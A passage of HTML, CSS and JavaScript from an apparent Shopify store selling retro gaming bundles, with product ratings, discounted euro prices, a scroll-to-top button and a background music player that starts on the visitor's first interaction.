              <path d="M316.9 18C311.6 7 300.4 0 288.1 0s-23.4 7-28.8 18L195 150.3 51.4 171.5c-12 1.8-22 10.2-25.7 21.7s-.7 24.2 7.9 32.7L137.8 329 113.2 474.7c-2 12 3 24.2 12.9 31.3s23 8 33.8 2.3l128.3-68.5 128.3 68.5c10.8 5.7 23.9 4.9 33.8-2.3s14.9-19.3 12.9-31.3L438.5 329 542.7 225.9c8.6-8.5 11.7-21.2 7.9-32.7s-13.7-19.9-25.7-21.7L381.2 150.3 316.9 18z"/>
            </svg>
          
            <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 576 512" fill='currentColor'>
              <path d="M316.9 18C311.6 7 300.4 0 288.1 0s-23.4 7-28.8 18L195 150.3 51.4 171.5c-12 1.8-22 10.2-25.7 21.7s-.7 24.2 7.9 32.7L137.8 329 113.2 474.7c-2 12 3 24.2 12.9 31.3s23 8 33.8 2.3l128.3-68.5 128.3 68.5c10.8 5.7 23.9 4.9 33.8-2.3s14.9-19.3 12.9-31.3L438.5 329 542.7 225.9c8.6-8.5 11.7-21.2 7.9-32.7s-13.7-19.9-25.7-21.7L381.2 150.3 316.9 18z"/>
            </svg>
          
            <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 576 512" fill='currentColor'>
              <path d="M316.9 18C311.6 7 300.4 0 288.1 0s-23.4 7-28.8 18L195 150.3 51.4 171.5c-12 1.8-22 10.2-25.7 21.7s-.7 24.2 7.9 32.7L137.8 329 113.2 474.7c-2 12 3 24.2 12.9 31.3s23 8 33.8 2.3l128.3-68.5 128.3 68.5c10.8 5.7 23.9 4.9 33.8-2.3s14.9-19.3 12.9-31.3L438.5 329 542.7 225.9c8.6-8.5 11.7-21.2 7.9-32.7s-13.7-19.9-25.7-21.7L381.2 150.3 316.9 18z"/>
            </svg>
          
            <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 576 512" fill='currentColor'>
              <path d="M316.9 18C311.6 7 300.4 0 288.1 0s-23.4 7-28.8 18L195 150.3 51.4 171.5c-12 1.8-22 10.2-25.7 21.7s-.7 24.2 7.9 32.7L137.8 329 113.2 474.7c-2 12 3 24.2 12.9 31.3s23 8 33.8 2.3l128.3-68.5 128.3 68.5c10.8 5.7 23.9 4.9 33.8-2.3s14.9-19.3 12.9-31.3L438.5 329 542.7 225.9c8.6-8.5 11.7-21.2 7.9-32.7s-13.7-19.9-25.7-21.7L381.2 150.3 316.9 18z"/>
            </svg>
          
            <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 576 512" fill='currentColor'>
              <path d="M316.9 18C311.6 7 300.4 0 288.1 0s-23.4 7-28.8 18L195 150.3 51.4 171.5c-12 1.8-22 10.2-25.7 21.7s-.7 24.2 7.9 32.7L137.8 329 113.2 474.7c-2 12 3 24.2 12.9 31.3s23 8 33.8 2.3l128.3-68.5 128.3 68.5c10.8 5.7 23.9 4.9 33.8-2.3s14.9-19.3 12.9-31.3L438.5 329 542.7 225.9c8.6-8.5 11.7-21.2 7.9-32.7s-13.7-19.9-25.7-21.7L381.2 150.3 316.9 18z"/>
            </svg>
          
        </div>
      </div>
      <span class="rating-stars__label">&nbsp;4.6</span>
    </div>
  
</div>


<div
  class="product__text-container    product__text-container-ATVlNUWhjOGNEVllXN__price_zzHqHH    always-display    product__text-container--left    product__text-container--fit-content    product__text-container--mobile-left    price-block    product__text-container--fit-content"
  style="    margin-top: 0.0rem;    margin-bottom: 1.2rem;    --price-color: #ffffff;    --compare-color: #777777;  ">
  <div class="price-block__inner" aria-label="Product price">
    <span class="price-block__price">€173,95
</span><span class="price-block__compare">
        €218,95
      </span></div>
</div>

<style>
  .price-block__inner{
    display:flex;
    align-items:baseline;
    gap:.6rem;
    flex-wrap:wrap;
  }
  .price-block__price{
    color: var(--price-color);
    font-weight: 700;
    line-height: 1.1;
  }
  .price-block__compare{
    color: var(--compare-color);
    text-decoration: line-through;
    opacity: .9;
    line-height: 1.1;
  }

  .product__text-container--left  .price-block__inner{ justify-content:flex-start; }
  .product__text-container--center .price-block__inner{ justify-content:center; }
  .product__text-container--right .price-block__inner{ justify-content:flex-end; }
</style>



  </div>
</div>


<style>
  
  
</style>
<div
  class="slide-item    always-display            isolate"
  style="    margin-top: 0.0rem;    margin-bottom: 0.0rem;          --bg-color: transparent;      --bg-opacity: 0;        --mobile-width: ;    --desktop-width: ;    --border-style: solid;    --border-width: 0px;    --border-opacity: 100;                --border-color: #6d388b;              --shadow-color: transparent;      --shadow-offset-x: 0px;      --shadow-offset-y: 0px;      --shadow-blur: 0px;      --shadow-spread: 0px;      box-shadow: none;              --padding-y--mobile: 0;--padding-x--mobile: 0;--padding-y--desktop: 0; --padding-x--desktop: 0;--border-radius: 0;      "
>
  
  <div id="ContentContainer-AVjROVmtHNkRUREhLa__container_RKxkH9" class="content-wrapper isolate">
    <div
  class="product-info__image-block product-info__image-block--mobile-alignment always-display"
  style="    --image-width:100%;    --image-alignment:center;    --mobile-image-alignment:center;    --border-radius:0.0rem;    margin-top: 0.0rem;    margin-bottom: 0.0rem;  "
>
  
    <div
      class="media media--transparent ratio"
      style="--ratio-percent: 100.0%; border-radius: var(--border-radius); overflow: hidden;"
    ><a
          href="/products/retro-gunner-set"
          class="product-info__image-link"
          aria-label="Image link"
          
          style="position:absolute; inset:0; z-index:5; display:block;"
        ></a>
      
      
<img src="//retrodeckhub.com/cdn/shop/files/RetroGunner_Mix_Bundle_1TB_79709d64-1161-4d88-9479-86eecb65eab7.webp?v=1774145945&amp;width=1500" alt="" srcset="//retrodeckhub.com/cdn/shop/files/RetroGunner_Mix_Bundle_1TB_79709d64-1161-4d88-9479-86eecb65eab7.webp?v=1774145945&amp;width=165 165w, //retrodeckhub.com/cdn/shop/files/RetroGunner_Mix_Bundle_1TB_79709d64-1161-4d88-9479-86eecb65eab7.webp?v=1774145945&amp;width=360 360w, //retrodeckhub.com/cdn/shop/files/RetroGunner_Mix_Bundle_1TB_79709d64-1161-4d88-9479-86eecb65eab7.webp?v=1774145945&amp;width=535 535w, //retrodeckhub.com/cdn/shop/files/RetroGunner_Mix_Bundle_1TB_79709d64-1161-4d88-9479-86eecb65eab7.webp?v=1774145945&amp;width=750 750w, //retrodeckhub.com/cdn/shop/files/RetroGunner_Mix_Bundle_1TB_79709d64-1161-4d88-9479-86eecb65eab7.webp?v=1774145945&amp;width=1070 1070w, //retrodeckhub.com/cdn/shop/files/RetroGunner_Mix_Bundle_1TB_79709d64-1161-4d88-9479-86eecb65eab7.webp?v=1774145945&amp;width=1250 1250w, //retrodeckhub.com/cdn/shop/files/RetroGunner_Mix_Bundle_1TB_79709d64-1161-4d88-9479-86eecb65eab7.webp?v=1774145945&amp;width=1500 1500w" width="1500" height="1500" loading="lazy" sizes="(min-width: 1400px) calc(1400.0px * 1.0),        (min-width: 750px) calc((100vw - 30px) / 12 * 12 * 1.0),        calc((100vw - 30px) / 4 * 12 * 1.0)">
    </div>
  
</div>



<style>
  .custom-text-padding-AK3I0ekxkc3B0a2lyM__text_Qw49Pw {
    padding-left: 0px;
    padding-right: 0px;
  }
  
  @media screen and (max-width: 749px) {
    .custom-text-padding-AK3I0ekxkc3B0a2lyM__text_Qw49Pw {
      padding-left: 0px;
      padding-right: 0px;
    }
  }
</style>

<div class="custom-text-padding-AK3I0ekxkc3B0a2lyM__text_Qw49Pw">
  
<style>
  
    .rich-text-block-AK3I0ekxkc3B0a2lyM__text_Qw49Pw {
      --color-foreground: 255, 255, 255;
      color: rgb(var(--color-foreground));
    }
  
  .rich-text-block-AK3I0ekxkc3B0a2lyM__text_Qw49Pw p {
    font-size: 1.4rem;
  }
  
  

  
    /* Apply styling only to bold text */
    .rich-text-block-AK3I0ekxkc3B0a2lyM__text_Qw49Pw strong,
    .rich-text-block-AK3I0ekxkc3B0a2lyM__text_Qw49Pw b {
      
          color: #ffffff;
        
      
    }
  

  

  

  

  

  

  

  
</style>
<div
  class="rich-text-block rich-text-block-AK3I0ekxkc3B0a2lyM__text_Qw49Pw rte     left     mobile-left                        always-display"
  style="    margin-top: 0.0rem;    margin-bottom: 0.0rem;  "
>
  <p><a href="/products/retro-pistol-set" title="Retro Pistol Set"><strong>RETRO GUNNER SET</strong></a></p>
</div>










</div>

<div 
  class="rating-stars always-display"
  style='    --rating:4.8;    --visible-stars:5;    --star-color:#ffffff;    --bg-star-color:#ececec;    --font-size:1.6rem;    --alignment:flex-start;          margin-top: 0.0rem;      margin-bottom: 1.2rem;      '
  
    
  
>
  
    <div class='rating-stars-and-text font-size--desktop-auto flex-center'>
      <div class='rating-stars__container rating-stars__container--underlay'>
        
          
            <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 576 512" fill='currentColor'>
              <path d="M287.9 0c9.2 0 17.6 5.2 21.6 13.5l68.6 141.3 153.2 22.6c9 1.3 16.5 7.6 19.3 16.3s.5 18.1-5.9 24.5L433.6 328.4l26.2 155.6c1.5 9-2.2 18.1-9.6 23.5s-17.3 6-25.3 1.7l-137-73.2L151 509.1c-8.1 4.3-17.9 3.7-25.3-1.7s-11.2-14.5-9.7-23.5l26.2-155.6L31.1 218.2c-6.5-6.4-8.7-15.9-5.9-24.5s10.3-14.9 19.3-16.3l153.2-22.6L266.3 13.5C270.4 5.2 278.7 0 287.9 0zm0 79L235.4 187.2c-3.5 7.1-10.2 12.1-18.1 13.3L99 217.9 184.9 303c5.5 5.5 8.1 13.3 6.8 21L171.4 443.7l105.2-56.2c7.1-3.8 15.6-3.8 22.6 0l105.2 56.2L384.2 324.1c-1.3-7.7 1.2-15.5 6.8-21l85.9-85.1L358.6 200.5c-7.8-1.2-14.6-6.1-18.1-13.3L287.9 79z"/>
            </svg>
          
            <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 576 512" fill='currentColor'>
              <path d="M287.9 0c9.2 0 17.6 5.2 21.6 13.5l68.6 141.3 153.2 22.6c9 1.3 16.5 7.6 19.3 16.3s.5 18.1-5.9 24.5L433.6 328.4l26.2 155.6c1.5 9-2.2 18.1-9.6 23.5s-17.3 6-25.3 1.7l-137-73.2L151 509.1c-8.1 4.3-17.9 3.7-25.3-1.7s-11.2-14.5-9.7-23.5l26.2-155.6L31.1 218.2c-6.5-6.4-8.7-15.9-5.9-24.5s10.3-14.9 19.3-16.3l153.2-22.6L266.3 13.5C270.4 5.2 278.7 0 287.9 0zm0 79L235.4 187.2c-3.5 7.1-10.2 12.1-18.1 13.3L99 217.9 184.9 303c5.5 5.5 8.1 13.3 6.8 21L171.4 443.7l105.2-56.2c7.1-3.8 15.6-3.8 22.6 0l105.2 56.2L384.2 324.1c-1.3-7.7 1.2-15.5 6.8-21l85.9-85.1L358.6 200.5c-7.8-1.2-14.6-6.1-18.1-13.3L287.9 79z"/>
            </svg>
          
            <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 576 512" fill='currentColor'>
              <path d="M287.9 0c9.2 0 17.6 5.2 21.6 13.5l68.6 141.3 153.2 22.6c9 1.3 16.5 7.6 19.3 16.3s.5 18.1-5.9 24.5L433.6 328.4l26.2 155.6c1.5 9-2.2 18.1-9.6 23.5s-17.3 6-25.3 1.7l-137-73.2L151 509.1c-8.1 4.3-17.9 3.7-25.3-1.7s-11.2-14.5-9.7-23.5l26.2-155.6L31.1 218.2c-6.5-6.4-8.7-15.9-5.9-24.5s10.3-14.9 19.3-16.3l153.2-22.6L266.3 13.5C270.4 5.2 278.7 0 287.9 0zm0 79L235.4 187.2c-3.5 7.1-10.2 12.1-18.1 13.3L99 217.9 184.9 303c5.5 5.5 8.1 13.3 6.8 21L171.4 443.7l105.2-56.2c7.1-3.8 15.6-3.8 22.6 0l105.2 56.2L384.2 324.1c-1.3-7.7 1.2-15.5 6.8-21l85.9-85.1L358.6 200.5c-7.8-1.2-14.6-6.1-18.1-13.3L287.9 79z"/>
            </svg>
          
            <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 576 512" fill='currentColor'>
              <path d="M287.9 0c9.2 0 17.6 5.2 21.6 13.5l68.6 141.3 153.2 22.6c9 1.3 16.5 7.6 19.3 16.3s.5 18.1-5.9 24.5L433.6 328.4l26.2 155.6c1.5 9-2.2 18.1-9.6 23.5s-17.3 6-25.3 1.7l-137-73.2L151 509.1c-8.1 4.3-17.9 3.7-25.3-1.7s-11.2-14.5-9.7-23.5l26.2-155.6L31.1 218.2c-6.5-6.4-8.7-15.9-5.9-24.5s10.3-14.9 19.3-16.3l153.2-22.6L266.3 13.5C270.4 5.2 278.7 0 287.9 0zm0 79L235.4 187.2c-3.5 7.1-10.2 12.1-18.1 13.3L99 217.9 184.9 303c5.5 5.5 8.1 13.3 6.8 21L171.4 443.7l105.2-56.2c7.1-3.8 15.6-3.8 22.6 0l105.2 56.2L384.2 324.1c-1.3-7.7 1.2-15.5 6.8-21l85.9-85.1L358.6 200.5c-7.8-1.2-14.6-6.1-18.1-13.3L287.9 79z"/>
            </svg>
          
            <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 576 512" fill='currentColor'>
              <path d="M287.9 0c9.2 0 17.6 5.2 21.6 13.5l68.6 141.3 153.2 22.6c9 1.3 16.5 7.6 19.3 16.3s.5 18.1-5.9 24.5L433.6 328.4l26.2 155.6c1.5 9-2.2 18.1-9.6 23.5s-17.3 6-25.3 1.7l-137-73.2L151 509.1c-8.1 4.3-17.9 3.7-25.3-1.7s-11.2-14.5-9.7-23.5l26.2-155.6L31.1 218.2c-6.5-6.4-8.7-15.9-5.9-24.5s10.3-14.9 19.3-16.3l153.2-22.6L266.3 13.5C270.4 5.2 278.7 0 287.9 0zm0 79L235.4 187.2c-3.5 7.1-10.2 12.1-18.1 13.3L99 217.9 184.9 303c5.5 5.5 8.1 13.3 6.8 21L171.4 443.7l105.2-56.2c7.1-3.8 15.6-3.8 22.6 0l105.2 56.2L384.2 324.1c-1.3-7.7 1.2-15.5 6.8-21l85.9-85.1L358.6 200.5c-7.8-1.2-14.6-6.1-18.1-13.3L287.9 79z"/>
            </svg>
          
        
        <div class='rating-stars__container rating-stars__container--overlay'>
          
            <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 576 512" fill='currentColor'>
              <path d="M316.9 18C311.6 7 300.4 0 288.1 0s-23.4 7-28.8 18L195 150.3 51.4 171.5c-12 1.8-22 10.2-25.7 21.7s-.7 24.2 7.9 32.7L137.8 329 113.2 474.7c-2 12 3 24.2 12.9 31.3s23 8 33.8 2.3l128.3-68.5 128.3 68.5c10.8 5.7 23.9 4.9 33.8-2.3s14.9-19.3 12.9-31.3L438.5 329 542.7 225.9c8.6-8.5 11.7-21.2 7.9-32.7s-13.7-19.9-25.7-21.7L381.2 150.3 316.9 18z"/>
            </svg>
          
            <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 576 512" fill='currentColor'>
              <path d="M316.9 18C311.6 7 300.4 0 288.1 0s-23.4 7-28.8 18L195 150.3 51.4 171.5c-12 1.8-22 10.2-25.7 21.7s-.7 24.2 7.9 32.7L137.8 329 113.2 474.7c-2 12 3 24.2 12.9 31.3s23 8 33.8 2.3l128.3-68.5 128.3 68.5c10.8 5.7 23.9 4.9 33.8-2.3s14.9-19.3 12.9-31.3L438.5 329 542.7 225.9c8.6-8.5 11.7-21.2 7.9-32.7s-13.7-19.9-25.7-21.7L381.2 150.3 316.9 18z"/>
            </svg>
          
            <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 576 512" fill='currentColor'>
              <path d="M316.9 18C311.6 7 300.4 0 288.1 0s-23.4 7-28.8 18L195 150.3 51.4 171.5c-12 1.8-22 10.2-25.7 21.7s-.7 24.2 7.9 32.7L137.8 329 113.2 474.7c-2 12 3 24.2 12.9 31.3s23 8 33.8 2.3l128.3-68.5 128.3 68.5c10.8 5.7 23.9 4.9 33.8-2.3s14.9-19.3 12.9-31.3L438.5 329 542.7 225.9c8.6-8.5 11.7-21.2 7.9-32.7s-13.7-19.9-25.7-21.7L381.2 150.3 316.9 18z"/>
            </svg>
          
            <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 576 512" fill='currentColor'>
              <path d="M316.9 18C311.6 7 300.4 0 288.1 0s-23.4 7-28.8 18L195 150.3 51.4 171.5c-12 1.8-22 10.2-25.7 21.7s-.7 24.2 7.9 32.7L137.8 329 113.2 474.7c-2 12 3 24.2 12.9 31.3s23 8 33.8 2.3l128.3-68.5 128.3 68.5c10.8 5.7 23.9 4.9 33.8-2.3s14.9-19.3 12.9-31.3L438.5 329 542.7 225.9c8.6-8.5 11.7-21.2 7.9-32.7s-13.7-19.9-25.7-21.7L381.2 150.3 316.9 18z"/>
            </svg>
          
            <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 576 512" fill='currentColor'>
              <path d="M316.9 18C311.6 7 300.4 0 288.1 0s-23.4 7-28.8 18L195 150.3 51.4 171.5c-12 1.8-22 10.2-25.7 21.7s-.7 24.2 7.9 32.7L137.8 329 113.2 474.7c-2 12 3 24.2 12.9 31.3s23 8 33.8 2.3l128.3-68.5 128.3 68.5c10.8 5.7 23.9 4.9 33.8-2.3s14.9-19.3 12.9-31.3L438.5 329 542.7 225.9c8.6-8.5 11.7-21.2 7.9-32.7s-13.7-19.9-25.7-21.7L381.2 150.3 316.9 18z"/>
            </svg>
          
        </div>
      </div>
      <span class="rating-stars__label">&nbsp;4.8</span>
    </div>
  
</div>


<div
  class="product__text-container    product__text-container-AZ09pbk4xaWZKYm44Q__price_fg39eF    always-display    product__text-container--left    product__text-container--fit-content    product__text-container--mobile-left    price-block    product__text-container--fit-content"
  style="    margin-top: 0.0rem;    margin-bottom: 1.2rem;    --price-color: #ffffff;    --compare-color: #777777;  ">
  <div class="price-block__inner" aria-label="Product price">
    <span class="price-block__price">€243,95
</span><span class="price-block__compare">
        €305,95
      </span></div>
</div>

<style>
  .price-block__inner{
    display:flex;
    align-items:baseline;
    gap:.6rem;
    flex-wrap:wrap;
  }
  .price-block__price{
    color: var(--price-color);
    font-weight: 700;
    line-height: 1.1;
  }
  .price-block__compare{
    color: var(--compare-color);
    text-decoration: line-through;
    opacity: .9;
    line-height: 1.1;
  }

  .product__text-container--left  .price-block__inner{ justify-content:flex-start; }
  .product__text-container--center .price-block__inner{ justify-content:center; }
  .product__text-container--right .price-block__inner{ justify-content:flex-end; }
</style>



  </div>
</div>



  </div>
</div>



  </div>
</div>



    </div>
  </div>
</div>


</div><div id="shopify-section-template--27363198763291__1774158290770744d4" class="shopify-section">

</div>
    </main>

    <div id="shopify-section-promo-popup" class="shopify-section">
</div>
    <div id="shopify-section-scroll-to-top-btn" class="shopify-section"><style data-shopify>
  .scroll-to-top-btn-scroll-to-top-btn {
    --offset-x: 2.0rem;
    --offset-y: 2.0rem;
  }
  @media screen and (max-width: 749px) {
    .scroll-to-top-btn-scroll-to-top-btn {
      --offset-x: 1.5rem;
      --offset-y: 1.5rem;
    }
  }
</style>


  <button
    class="floating-btn scroll-to-top-btn scroll-to-top-btn-bottom-right scroll-to-top-btn-scroll-to-top-btn color-accent-1"
    onclick="handleScrollToTop()"
    
      style="display:none;"
    
  >
    <svg
      aria-hidden="true"
      focusable="false"
      data-prefix="fas"
      data-icon="chevron-up"
      class="svg-inline--fa fa-chevron-up"
      role="img"
      xmlns="http://www.w3.org/2000/svg"
      viewbox="0 0 512 512"
    >
      <path fill="currentColor" d="M233.4 105.4c12.5-12.5 32.8-12.5 45.3 0l192 192c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L256 173.3 86.6 342.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l192-192z"></path>
    </svg>
  </button>
  
  <script>
    
      function checkBtnVisibility() {
        const scrollToTopBtn = document.querySelector('.scroll-to-top-btn');
        if (scrollToTopBtn) {
          if (window.scrollY > 400) {
            scrollToTopBtn.style.display = '';
          } else {
            scrollToTopBtn.style.display = 'none';
          }
        }
      }
      checkBtnVisibility()
    
      window.addEventListener('scroll', checkBtnVisibility)
    
  
    function handleScrollToTop() {
      window.scrollTo({
        top: 0,
        behavior: "smooth"
      })
    }
  </script>




</div>
    <div id="shopify-section-global-music-player" class="shopify-section"><style data-shopify>
  .music-player-global-music-player {
    --offset-x: 2.0rem;
    --offset-y: 2.0rem;
    --gmp-size: 56px;
    --gmp-opacity: 0.25;
    
    /* Ensure music player doesn't block scroll interactions */
    pointer-events: none;
    z-index: 9999;
  }

  .music-player-global-music-player .music-player__btn {
    width: var(--gmp-size, 56px);
    height: var(--gmp-size, 56px);
    opacity: var(--gmp-opacity, 1);
    pointer-events: auto; /* Only the button is clickable */
  }

  /* Mobile override */
  @media screen and (max-width: 749px) {
    .music-player-global-music-player {
      --offset-x: 1.5rem;
      --offset-y: 1.5rem;
      --gmp-size: 40px;
    }
  }

  .music-player-global-music-player .music-player__btn svg {
    width: 55%;
    height: 55%;
  }
</style>



<script>
(function () {
  const STORAGE_KEY  = 'gmp_min_v2';
  const SESSION_KEY  = 'gmp_session_v1';
  const audio = document.getElementById('global-audio-global-music-player');
  const btn   = document.getElementById('global-audio-btn-global-music-player');
  if (!audio || !btn) return;

  const sread = () => { try { return JSON.parse(localStorage.getItem(STORAGE_KEY) || '{}'); } catch { return {}; } };
  const swrite= (s) => { try { localStorage.setItem(STORAGE_KEY, JSON.stringify(s)); } catch {} };
  const getSession = () => { try { return JSON.parse(sessionStorage.getItem(SESSION_KEY) || '{}'); } catch { return {}; } };
  const setSession = (patch) => { try { sessionStorage.setItem(SESSION_KEY, JSON.stringify({ ...(getSession()), ...patch })); } catch {} };

  const defaultVol = Math.max(0, Math.min(1, parseFloat(btn.dataset.defaultVolume || '0.1')));
  const state0 = sread();
  audio.volume = (typeof state0.volume === 'number') ? state0.volume : defaultVol;

  function setButtonUI(playing) {
    btn.classList.toggle('music-player__btn--playing', playing);
    btn.classList.toggle('music-player__btn--paused', !playing);
    btn.setAttribute('aria-pressed', playing ? 'true' : 'false');
  }
  setButtonUI(false);

  // -------- core: force audible playback inside a user gesture --------
  let trying = false;
  let audible = false;
  let gestureCount = 0;

  function forceAudible() {
    if (audible || trying) return;
    trying = true;

    try {
      if (!audio.paused) { try { audio.pause(); } catch(_){} }     // break “silent playing” if any
      if (audio.readyState < 2) { try { audio.load(); } catch(_){} }

      audio.defaultMuted = false;
      audio.muted = false;
      audio.removeAttribute('muted');
      if (audio.volume <= 0.001) audio.volume = Math.max(0.1, audio.volume || defaultVol);

      // kick #1
      let p = audio.play();
      if (p && p.catch) p.catch(()=>{});

      // tiny seek + kick #2 (helps some Android builds)
      try {
        const t = isFinite(audio.currentTime) ? audio.currentTime : 0;
        audio.currentTime = Math.max(0, t + 0.001);
      } catch(_){}
      Promise.resolve().then(()=> {
        const p2 = audio.play();
        if (p2 && p2.catch) p2.catch(()=>{});
      });

      // allow another try soon if still not audible
      setTimeout(()=>{ if (!audible) trying = false; }, 250);
      setTimeout(checkAudible, 120);
      setTimeout(checkAudible, 320);
    } catch(_) {
      trying = false;
    }
  }

  function checkAudible() {
    if (!audio.paused && !audio.muted && audio.volume > 0 && audio.currentTime > 0.02 && audio.readyState >= 2) {
      audible = true;
      setSession({ autoplay_ok: true });
      setButtonUI(true);
      teardown();
    }
  }

  // ---------- unlockOnce: keep listeners until we hear real sound ----------
  (function unlockOnce(){
    const sectionEl = document.getElementById('shopify-section-global-music-player');
    const targets = [window, document, document.documentElement, document.body, sectionEl].filter(Boolean);

    function onStart(e){
      // NOTE: desktop wheel/scroll is NOT a user-activation; we rely on pointer/keyboard here.
      if (e.type === 'keydown' && !(e.code === 'Enter' || e.code === 'Space')) return;
      gestureCount += 1;
      if (gestureCount >= 2) trying = false; // guarantee retry on the 2nd gesture
      forceAudible();
    }
    function onEnd(){ if (gestureCount >= 1) forceAudible(); } // some devices grant on 'end'

    targets.forEach(t => {
      // Touch/pointer cover Android scroll drags; passive:false keeps us in activation chain
      ['pointerdown','touchstart','mousedown','keydown'].forEach(ev => {
        try { t.addEventListener(ev, onStart, {capture:true, passive:false}); } catch(_){}
      });
      ['pointerup','touchend','mouseup','pointercancel','touchcancel','click'].forEach(ev => {
        try { t.addEventListener(ev, onEnd, {capture:true, passive:false}); } catch(_){}
      });
    });

    audio.addEventListener('playing',      checkAudible);
    audio.addEventListener('timeupdate',   checkAudible);
    audio.addEventListener('volumechange', checkAudible);

    function teardown(){
      targets.forEach(t => {
        ['pointerdown','touchstart','mousedown','keydown'].forEach(ev => { try { t.removeEventListener(ev, onStart, true); } catch(_){} });
        ['pointerup','touchend','mouseup','pointercancel','touchcancel','click'].forEach(ev => { try { t.removeEventListener(ev, onEnd,   true); } catch(_){} });
      });
      try { audio.removeEventListener('playing',      checkAudible); } catch(_){}
      try { audio.removeEventListener('timeupdate',   checkAudible); } catch(_){}
      try { audio.removeEventListener('volumechange', checkAudible); } catch(_){}
    }
  })();

  // ---------- button keeps working as you had ----------
  btn.addEventListener('click', function () {
    setSession({ autoplay_ok: true });
    audio.muted = false;
    audio.removeAttribute('muted');
    if (audio.volume <= 0.001) audio.volume = Math.max(0.1, audio.volume || defaultVol);

    if (audio.paused) {
      const p = audio.play(); if (p && p.catch) p.catch(()=>{});
      setButtonUI(true);
      const s = sread();
      swrite({ ...s, paused: false });
    } else {
      try { audio.pause(); } catch(_){}
      setButtonUI(false);
      const s = sread();
      swrite({ ...s, paused: true });
    }
  });

  // Don’t flip icon for muted “playing”
  audio.addEventListener('playing', () => {
    if (getSession().autoplay_ok) setButtonUI(true); else setButtonUI(false);
  });

  audio.addEventListener('volumechange', () => {
    const s = sread(); swrite({ ...s, volume: audio.volume });
  });
})();
</script>

</div>
    <!-- BEGIN sections: footer-group -->
<div id="shopify-section-sections--27363199713563__section_divider_mJHGzR" class="shopify-section shopify-section-group-footer-group"><style data-shopify>
  .section-divider-sections--27363199713563__section_divider_mJHGzR {
    transform: scaleX(1) scaleY(1);
  }
  .section-sections--27363199713563__section_divider_mJHGzR-top-padding {
    height: 0px;
  }
  .section-sections--27363199713563__section_divider_mJHGzR-bottom-padding {
    height: 0px;
  }
  @media screen and (min-width: 750px) {
    .section-sections--27363199713563__section_divider_mJHGzR-top-padding {
      height: 0px;
    }
    .section-sections--27363199713563__section_divider_mJHGzR-bottom-padding {
      height: 0px;
    }
  }

  .shape-color-sections--27363199713563__section_divider_mJHGzR.color-custom {
    --color-background: 221, 29, 29;
  }
  .bg-color-sections--27363199713563__section_divider_mJHGzR.color-custom {
    --color-background: 255, 255, 255;
  }
</style>

<div class="section-sections--27363199713563__section_divider_mJHGzR-top-padding color-background-1 bg-color-sections--27363199713563__section_divider_mJHGzR always-display">
  &nbsp
</div>
<div class="section-divider section-divider-sections--27363199713563__section_divider_mJHGzR color-background-1 bg-color-sections--27363199713563__section_divider_mJHGzR always-display">
  <div class="section-divider__svg color-accent-1 shape-color-sections--27363199713563__section_divider_mJHGzR">
    
        <svg
          class="waves-animated-1"
          xmlns="http://www.w3.org/2000/svg"
          xmlns:xlink="http://www.w3.org/1999/xlink"
          viewbox="0 24 150 28"
          preserveaspectratio="none"
        >
          <defs>
            <path id="gentle-wave"
            d="M-160 44c30 0              58-18 88-18s              58 18 88 18              58-18 88-18              58 18 88 18              v44h-352z" />
          </defs>
          <g class="parallax1">
            <use xlink:href="#gentle-wave" x="50" y="3" fill="currentColor"/>
          </g>
          <g class="parallax2">
            <use xlink:href="#gentle-wave" x="50" y="0" fill="currentColor"/>
          </g>
          <g class="parallax3">
            <use xlink:href="#gentle-wave" x="50" y="9" fill="currentColor"/>
          </g>
          <g class="parallax4">
            <use xlink:href="#gentle-wave" x="50" y="6" fill="currentColor"/>
          </g>
        </svg>
    
  </div>
</div>
<div class="section-sections--27363199713563__section_divider_mJHGzR-bottom-padding color-accent-1 shape-color-sections--27363199713563__section_divider_mJHGzR always-display">
  &nbsp
</div>


</div><div id="shopify-section-sections--27363199713563__footer" class="shopify-section shopify-section-group-footer-group">
<style data-shopify>.footer {
    margin-top: 0px;
  }

  .section-sections--27363199713563__footer-padding {
    padding-top: 0px;
    padding-bottom: 39px;
  }

  @media screen and (min-width: 750px) {
    .footer {
      margin-top: 0px;
    }

    .section-sections--27363199713563__footer-padding {
      padding-top: 0px;
      padding-bottom: 52px;
    }
  }

  .color-scheme-sections--27363199713563__footer.color-custom {
    --color-background: 255, 102, 165;
    --gradient-background: #ff66a5;
    
    --color-foreground: 255, 255, 255;
    --color-button: 255, 255, 255;
    --color-button-text: 18, 18, 18;
    --color-base-outline-button-labels: 255, 255, 255;
  }
  
  
</style><footer
  class="footer color-scheme-sections--27363199713563__footer color-accent-1 gradient section-sections--27363199713563__footer-padding animate-section animate--hidden"
  data-animations=""
  data-type="CH+FNsZf0pVcmWNpggNzCvXIzkYkkaj29ECOxT5JLJn+8GP0QE/w2ZZoc0l8y3sKvzzyhdOS7LZ2rK7MwQ/NtCOYYYJ7yXB5dQJJ3+SAAIrHBm3HF6rydAtjY3MP+AvhqpSW/IyKgUXZOsqHROldAKNd/0ss5+NNxjEtevuimwelIgBKdSFfPQHmM3iaAtVAC0JOCdFuyb0PgR1BneeheN/wa9QzUd9gJ1OZhnSBefIBvmVvslG6N3IvwYREP1PIS2e5+w9kkjA9y9ci+OFpm/WPgP+A99m6qO8CosxfL/dHhr/HtooBQqmRXtzWgq1BITTO34pEgrgduEh/CCAuFfA9yvgB6XhNHexSi+2nBvVrA06pDJNLs7o0eAJaLmBlkNDhyVaYhRW42pjbjgOgbSq4UfqYKBVbpFEifOUze4U="
><div class="footer__content-top page-width"><div class="footer__blocks-wrapper grid"><div
                class="footer-block grid__item footer-block--desktop-11 footer-block--mobile-2 animate-item animate-item--child"
                style="--index: 0;"
                
              ><style>
                    .footer-block__heading-text_agcDqF {
